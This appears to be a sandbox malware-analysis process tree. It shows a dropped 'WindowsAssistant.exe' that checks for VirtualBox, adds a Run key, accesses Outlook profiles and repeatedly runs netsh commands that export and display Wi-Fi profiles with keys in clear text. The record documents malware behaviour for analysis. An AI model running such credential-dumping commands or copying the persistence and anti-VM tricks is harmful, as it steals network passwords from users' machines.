    - Suspicious use of WriteProcessMemory
    PID:1500
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile name="t" key=clear
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      PID:5376
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c netsh wlan show profile name="o" key=clear
    3⤵
    - Executes a command shell one-liner
    - System Network Configuration Discovery: Wi-Fi Discovery
    - Suspicious use of WriteProcessMemory
    PID:1548
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile name="o" key=clear
      4⤵
      PID:4340
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c netsh wlan show profile name="C" key=clear
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1120
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile name="C" key=clear
      4⤵
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:1568
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c netsh wlan show profile name="o" key=clear
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5248
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile name="o" key=clear
      4⤵
      PID:3540
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c netsh wlan show profile name="n" key=clear
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5068
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile name="n" key=clear
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      PID:1152
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c netsh wlan show profile name="f" key=clear
    3⤵
    - Executes a command shell one-liner
    - System Network Configuration Discovery: Wi-Fi Discovery
    - Suspicious use of WriteProcessMemory
    PID:3428
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile name="f" key=clear
      4⤵
      PID:5624
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c netsh wlan show profile name="i" key=clear
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4668
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile name="i" key=clear
      4⤵
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:4912
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c netsh wlan show profile name="g" key=clear
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1612
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile name="g" key=clear
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      PID:5552
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c netsh wlan show profile name=" " key=clear
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3024
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile name=" " key=clear
      4⤵
      PID:4960
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c netsh wlan show profile name="S" key=clear
    3⤵
    - Executes a command shell one-liner
    - System Network Configuration Discovery: Wi-Fi Discovery
    - Suspicious use of WriteProcessMemory
    PID:4224
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile name="S" key=clear
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:2764
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c netsh wlan show profile name="e" key=clear
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5928
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile name="e" key=clear
      4⤵
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:3836
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c netsh wlan show profile name="r" key=clear
    3⤵
    - Executes a command shell one-liner
    - System Network Configuration Discovery: Wi-Fi Discovery
    - Suspicious use of WriteProcessMemory
    PID:5012
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile name="r" key=clear
      4⤵
      PID:2108
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c netsh wlan show profile name="v" key=clear
    3⤵
    PID:1284
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile name="v" key=clear
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      PID:5948
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c netsh wlan show profile name="i" key=clear
    3⤵
    - Executes a command shell one-liner
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:4568
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile name="i" key=clear
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      PID:2664
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c netsh wlan show profile name="c" key=clear
    3⤵
    - Executes a command shell one-liner
    PID:3720
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile name="c" key=clear
      4⤵
      PID:2552
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c netsh wlan show profile name="e" key=clear
    3⤵
    - Executes a command shell one-liner
    PID:4208
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile name="e" key=clear
      4⤵
      PID:4612
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c netsh wlan show profile name=" " key=clear
    3⤵
    PID:3944
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile name=" " key=clear
      4⤵
      PID:1268
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c netsh wlan show profile name="(" key=clear
    3⤵
    - Executes a command shell one-liner
    PID:692
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile name="(" key=clear
      4⤵
      PID:924
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c netsh wlan show profile name="w" key=clear
    3⤵
    - Executes a command shell one-liner
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:3500
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile name="w" key=clear
      4⤵
      PID:3216
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c netsh wlan show profile name="l" key=clear
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:440
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile name="l" key=clear
      4⤵
      PID:3320
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c netsh wlan show profile name="a" key=clear
    3⤵
    - Executes a command shell one-liner
    PID:2668
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile name="a" key=clear
      4⤵
      PID:2784
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c netsh wlan show profile name="n" key=clear
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:2556
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile name="n" key=clear
      4⤵
      PID:5592
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c netsh wlan show profile name="s" key=clear
    3⤵
    - Executes a command shell one-liner
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:4864
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile name="s" key=clear
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:2880
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c netsh wlan show profile name="v" key=clear
    3⤵
    PID:1216
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile name="v" key=clear
      4⤵
      PID:1984
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c netsh wlan show profile name="c" key=clear
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:4144
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile name="c" key=clear
      4⤵
      PID:560
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c netsh wlan show profile name=")" key=clear
    3⤵
    - Executes a command shell one-liner
    PID:3536
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile name=")" key=clear
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      PID:864
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c netsh wlan show profile name=" " key=clear
    3⤵
    - Executes a command shell one-liner
    PID:4392
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile name=" " key=clear
      4⤵
      PID:3400
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c netsh wlan show profile name="i" key=clear
    3⤵
    - Executes a command shell one-liner
    PID:940
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile name="i" key=clear
      4⤵
      PID:1624
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c netsh wlan show profile name="s" key=clear
    3⤵
    - Executes a command shell one-liner
    PID:4452
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile name="s" key=clear
      4⤵
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:3668
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c netsh wlan show profile name=" " key=clear
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:3560
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile name=" " key=clear
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      PID:5432
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c netsh wlan show profile name="n" key=clear
    3⤵
    - Executes a command shell one-liner
    PID:3868
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile name="n" key=clear
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      PID:1992
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c netsh wlan show profile name="o" key=clear
    3⤵
    PID:3360
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile name="o" key=clear
      4⤵
      PID:2752
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c netsh wlan show profile name="t" key=clear
    3⤵
    - Executes a command shell one-liner
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:5164
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile name="t" key=clear
      4⤵
      PID:4948
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c netsh wlan show profile name=" " key=clear
    3⤵
    - Executes a command shell one-liner
    PID:1236
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile name=" " key=clear
      4⤵
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:6128
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c netsh wlan show profile name="r" key=clear
    3⤵
    - Executes a command shell one-liner
    PID:3272
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile name="r" key=clear
      4⤵
      PID:1104
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c netsh wlan show profile name="u" key=clear
    3⤵
    - Executes a command shell one-liner
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:5676
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile name="u" key=clear
      4⤵
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:1400
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c netsh wlan show profile name="n" key=clear
    3⤵
    - Executes a command shell one-liner
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:2088
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile name="n" key=clear
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      PID:6132
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c netsh wlan show profile name="n" key=clear
    3⤵
    - Executes a command shell one-liner
    PID:5072
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile name="n" key=clear
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      PID:5976
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c netsh wlan show profile name="i" key=clear
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:4276
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile name="i" key=clear
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      PID:360
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c netsh wlan show profile name="n" key=clear
    3⤵
    - Executes a command shell one-liner
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:1172
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile name="n" key=clear
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      PID:5704
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c netsh wlan show profile name="g" key=clear
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:5480
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile name="g" key=clear
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      PID:4068
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c netsh wlan show profile name="." key=clear
    3⤵
    PID:956
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile name="." key=clear
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      PID:5468
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c netsh wlan show profile name=" " key=clear
    3⤵
    PID:5052
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile name="" key=clear
      4⤵
      PID:4236
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c netsh wlan show profile name=" " key=clear
    3⤵
    - Executes a command shell one-liner
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:3096
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile name="
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      PID:5808

C:\Users\Admin\AppData\Roaming\WindowsAssistant\WindowsAssistant.exe
"C:\Users\Admin\AppData\Roaming\WindowsAssistant\WindowsAssistant.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
- Adds Run key to start application
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
PID:1832
- C:\Windows\SYSTEM32\netsh.exe
  "netsh" wlan export profile key=clear folder="C:\Users\Admin\AppData\Local\Temp\IntelixWifiExport_afa2d4a46f144a39801dbc257248e323"
  2⤵
  PID:828
- C:\Windows\SYSTEM32\netsh.exe
  "netsh" wlan show profiles
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:3880
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netsh wlan show profiles
  2⤵
  - Executes a command shell one-liner
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:4256
- - C:\Windows\system32\netsh.exe
    netsh wlan show profiles
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:4108
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netsh wlan show profile name="T" key=clear
  2⤵
  - Executes a command shell one-liner
  PID:624
- - C:\Windows\system32\netsh.exe
    netsh wlan show profile name="T" key=clear
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    PID:4592
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netsh wlan show profile name="h" key=clear
  2⤵
  - Executes a command shell one-liner
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:1908
- - C:\Windows\system32\netsh.exe
    netsh wlan show profile name="h" key=clear
    3⤵
    PID:5488
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netsh wlan show profile name="e" key=clear
  2⤵
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:5940
- - C:\Windows\system32\netsh.exe
    netsh wlan show profile name="e" key=clear
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    PID:4540
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netsh wlan show profile name=" " key=clear
  2⤵
  PID:968
- - C:\Windows\system32\netsh.exe
    netsh wlan show profile name=" " key=clear
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:2168
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netsh wlan show profile name="W" key=clear
  2⤵
  - Executes a command shell one-liner
  PID:5584
- - C:\Windows\system32\netsh.exe
    netsh wlan show profile name="W" key=clear
    3⤵
    PID:3652
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netsh wlan show profile name="i" key=clear
  2⤵
  - Executes a command shell one-liner
  PID:2504
- - C:\Windows\system32\netsh.exe
    netsh wlan show profile name="i" key=clear
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:2632
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netsh wlan show profile name="r" key=clear
  2⤵
  PID:4248
- - C:\Windows\system32\netsh.exe
    netsh wlan show profile name="r" key=clear
    3⤵
    PID:3040
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netsh wlan show profile name="e" key=clear
  2⤵
  - Executes a command shell one-liner
  PID:2700
- - C:\Windows\system32\netsh.exe
    netsh wlan show profile name="e" key=clear
    3⤵
    PID:5856
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netsh wlan show profile name="l" key=clear
  2⤵
  PID:4200
- - C:\Windows\system32\netsh.exe
    netsh wlan show profile name="l" key=clear
    3⤵
    PID:4140
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netsh wlan show profile name="e" key=clear
  2⤵
  - Executes a command shell one-liner
  PID:4892
- - C:\Windows\system32\netsh.exe
    netsh wlan show profile name="e" key=clear
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    PID:4992
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netsh wlan show profile name="s" key=clear
  2⤵
  - Executes a command shell one-liner
  PID:3108
- - C:\Windows\system32\netsh.exe
    netsh wlan show profile name="s" key=clear
    3⤵
    PID:3624
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netsh wlan show profile name="s" key=clear
  2⤵
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:3192
- - C:\Windows\system32\netsh.exe
    netsh wlan show profile name="s" key=clear
    3⤵
    PID:5732
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netsh wlan show profile name=" " key=clear
  2⤵
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:1600
- - C:\Windows\system32\netsh.exe
    netsh wlan show profile name=" " key=clear
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    PID:6136
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netsh wlan show profile name="A" key=clear
  2⤵
  PID:5812
- - C:\Windows\system32\netsh.exe
    netsh wlan show profile name="A" key=clear
    3⤵
    PID:1008
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netsh wlan show profile name="u" key=clear
  2⤵
  - Executes a command shell one-liner
  PID:2884
- - C:\Windows\system32\netsh.exe
    netsh wlan show profile name="u" key=clear
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    PID:1820
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netsh wlan show profile name="t" key=clear
  2⤵
  PID:5892
- - C:\Windows\system32\netsh.exe
    netsh wlan show profile name="t" key=clear
    3⤵
    PID:2828
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netsh wlan show profile name="o" key=clear
  2⤵
  - Executes a command shell one-liner
  PID:5532
- - C:\Windows\system32\netsh.exe
    netsh wlan show profile name="o" key=clear
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    PID:3940
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netsh wlan show profile name="C" key=clear
  2⤵
  PID:1748
- - C:\Windows\system32\netsh.exe
    netsh wlan show profile name="C" key=clear
    3⤵
    PID:260
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netsh wlan show profile name="o" key=clear
  2⤵
  PID:3080
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1268
- - C:\Windows\system32\netsh.exe
    netsh wlan show profile name="o" key=clear
    3⤵
    PID:4912
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netsh wlan show profile name="n" key=clear
  2⤵
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:4572
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4068
- - C:\Windows\system32\netsh.exe
    netsh wlan show profile name="n" key=clear
    3⤵
    PID:3856
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netsh wlan show profile name="f" key=clear
  2⤵
  - Executes a command shell one-liner
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:360
- - C:\Windows\system32\netsh.exe
    netsh wlan show profile name="f" key=clear
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    PID:3216
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netsh wlan show profile name="i" key=clear
  2⤵
  PID:4676
- - C:\Windows\system32\netsh.exe
    netsh wlan show profile name="i" key=clear
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    PID:4588
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netsh wlan show profile name="g" key=clear
  2⤵
  PID:1420
- - C:\Windows\system32\netsh.exe
    netsh wlan show profile name="g" key=clear
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:4856
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netsh wlan show profile name=" " key=clear
  2⤵
  PID:5236
- - C:\Windows\system32\netsh.exe
    netsh wlan show profile name=" " key=clear
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    PID:4284
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netsh wlan show profile name="S" key=clear
  2⤵
  PID:996
- - C:\Windows\system32\netsh.exe
    netsh wlan show profile name="S" key=clear
    3⤵
    PID:2584
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netsh wlan show profile name="e" key=clear
  2⤵
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:3596
- - C:\Windows\system32\netsh.exe
    netsh wlan show profile name="e" key=clear
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:1724
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netsh wlan show profile name="r" key=clear
  2⤵
  - Executes a command shell one-liner
  PID:4496
- - C:\Windows\system32\netsh.exe
    netsh wlan show profile name="r" key=clear
    3⤵
    PID:568
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netsh wlan show profile name="v" key=clear
  2⤵
  - Executes a command shell one-liner
  PID:4560
- - C:\Windows\system32\netsh.exe
    netsh wlan show profile name="v" key=clear
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    PID:256
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netsh wlan show profile name="i" key=clear
  2⤵
  PID:4644
- - C:\Windows\system32\netsh.exe
    netsh wlan show profile name="i" key=clear
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:2008
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netsh wlan show profile name="c" key=clear
  2⤵
  PID:800
- - C:\Windows\system32\netsh.exe
    netsh wlan show profile name="c" key=clear
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:4516
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netsh wlan show profile name="e" key=clear
  2⤵
  - Executes a command shell one-liner
  PID:604
- - C:\Windows\system32\netsh.exe
    netsh wlan show profile name="e" key=clear
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:5780
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netsh wlan show profile name=" " key=clear
  2⤵
  PID:1996
- - C:\Windows\system32\netsh.exe
    netsh wlan show profile name=" " key=clear
    3⤵
    PID:1744
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netsh wlan show profile name="(" key=clear
  2⤵
  - Executes a command shell one-liner
  PID:5076
- - C:\Windows\system32\netsh.exe
    netsh wlan show profile name="(" key=clear
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    PID:4232
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netsh wlan show profile name="w" key=clear
  2⤵
  PID:2020
- - C:\Windows\system32\netsh.exe
    netsh wlan show profile name="w" key=clear
    3⤵
    PID:5108
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netsh wlan show profile name="l" key=clear
  2⤵
  PID:1520
- - C:\Windows\system32\netsh.exe
    netsh wlan show profile name="l" key=clear
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:5920
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netsh wlan show profile name="a" key=clear
  2⤵
  PID:1516
- - C:\Windows\system32\netsh.exe
    netsh wlan show profile name="a" key=clear
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    PID:5168
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netsh wlan show profile name="n" key=clear
  2⤵
  PID:4204
- - C:\Windows\system32\netsh.exe
    netsh wlan show profile name="n" key=clear
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    PID:3236
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netsh wlan show profile name="s" key=clear
  2⤵
  - Executes a command shell one-liner
  PID:2392
- - C:\Windows\system32\netsh.exe
    netsh wlan show profile name="s" key=clear
    3⤵
    PID:4376
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netsh wlan show profile name="v" key=clear
  2⤵
  - Executes a command shell one-liner
  PID:4184
- - C:\Windows\system32\netsh.exe
    netsh wlan show profile name="v" key=clear
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    PID:2608
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netsh wlan show profile name="c" key=clear
  2⤵
  - Executes a command shell one-liner
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:1872
- - C:\Windows\system32\netsh.exe
    netsh wlan show profile name="c" key=clear
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    PID:3864
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netsh wlan show profile name=")" key=clear
  2⤵
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:468
- - C:\Windows\system32\netsh.exe
    netsh wlan show profile name=")" key=clear
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:2376
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netsh wlan show profile name=" " key=clear
  2⤵
  - Executes a command shell one-liner
  PID:2708
- - C:\Windows\system32\netsh.exe
    netsh wlan show profile name=" " key=clear
    3⤵
    PID:5432
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netsh wlan show profile name="i" key=clear
  2⤵
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:6132
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5468
- - C:\Windows\system32\netsh.exe
    netsh wlan show profile name="i" key=clear
    3⤵
    PID:3540
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netsh wlan show profile name="s" key=clear
  2⤵
  PID:864
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1992
- - C:\Windows\system32\netsh.exe
    netsh wlan show profile name="s" key=clear
    3⤵
    PID:4612
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netsh wlan show profile name=" " key=clear
  2⤵
  - Executes a command shell one-liner
  PID:4340
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1104
- - C:\Windows\system32\netsh.exe
    netsh wlan show profile name=" " key=clear
    3⤵
    PID:252
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netsh wlan show profile name="n" key=clear
  2⤵
  - Executes a command shell one-liner
  PID:5704
- - C:\Windows\system32\netsh.exe
    netsh wlan show profile name="n" key=clear
    3⤵
    PID:4584
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netsh wlan show profile name="o" key=clear
  2⤵
  PID:1300
- - C:\Windows\system32\netsh.exe
    netsh wlan show profile name="o" key=clear
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    PID:4976
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netsh wlan show profile name="t" key=clear
  2⤵
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:1712
- - C:\Windows\system32\netsh.exe
    netsh wlan show profile name="t" key=clear
    3⤵
    PID:4104
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netsh wlan show profile name=" " key=clear
  2⤵
  PID:4632
- - C:\Windows\system32\netsh.exe
    netsh wlan show profile name=" " key=clear
    3⤵
    PID:4044
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netsh wlan show profile name="r" key=clear
  2⤵
  - Executes a command shell one-liner
  PID:5104
- - C:\Windows\system32\netsh.exe
    netsh wlan show profile name="r" key=clear
    3⤵
    PID:3328
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netsh wlan show profile name="u" key=clear
  2⤵
  - Executes a command shell one-liner
  PID:5296
- - C:\Windows\system32\netsh.exe
    netsh wlan show profile name="u" key=clear
    3⤵
    PID:6024
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netsh wlan show profile name="n" key=clear
  2⤵
  PID:4784
